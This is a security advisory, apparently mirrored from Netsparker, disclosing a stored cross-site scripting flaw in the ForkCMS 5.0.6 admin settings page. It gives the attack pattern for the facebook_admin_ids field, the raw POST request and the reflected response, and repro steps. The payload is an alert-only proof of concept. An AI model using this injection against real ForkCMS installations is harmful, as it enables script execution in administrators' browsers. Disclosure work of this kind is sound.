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ForkCMS 5.0.6 Cross Site Scripting

ForkCMS 5.0.6 Cross Site Scripting
Posted Jan 1, 2019
Authored by Omer Citak | Site netsparker.com

ForkCMS version 5.0.6 suffers from persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 98602a5387fea2a4942718a799f776f9

ForkCMS 5.0.6 Cross Site Scripting

Change Mirror Download
Stored Cross-site Scripting Vulnerabilities in ForkCMS 5.0.6

Information
--------------------

Advisory by Netsparker
Name: Stored Cross-site Scripting Vulnerabilities in ForkCMS
Affected Software: ForkCMS
Affected Versions: 5.0.6
Homepage: https://www.fork-cms.com/
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-032

Technical Details
--------------------

Injection Details

URL: http://{domain}/{forkcms_path}/private/en/settings
Parameter Name: facebook_admin_ids
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x018E3D) x="

Injection Raw Request

POST /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

...............&facebook_admin_ids=x%22%20onmouseover%3dalert(0x018E3D)%20x%3d%22&facebook_application_id=...............

Identification Raw Request

GET /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

Identification Raw Response

HTTP/1.1 200 OK
...
...
<!DOCTYPE html>
<html lang="en">
...
...
<input value="x" onmouseover=alert(0x018E3D) x="" id="facebookAdminIds" name="facebook_admin_ids" maxlength="255" type="text" class="form-control fork-form-text" />
a|

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Repro Steps
--------------------

Login
Go to "Settings > General" page
Paste attack pattern to "Admin ids" input on the"Facebook" section
Click "Add" button
Click save button
Trigger XSS: Take the mouse cursor over the "Admin ids" input on the "Facebook" section

Advisory Timeline
--------------------

24th October 2017 - First Contact
31st December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.

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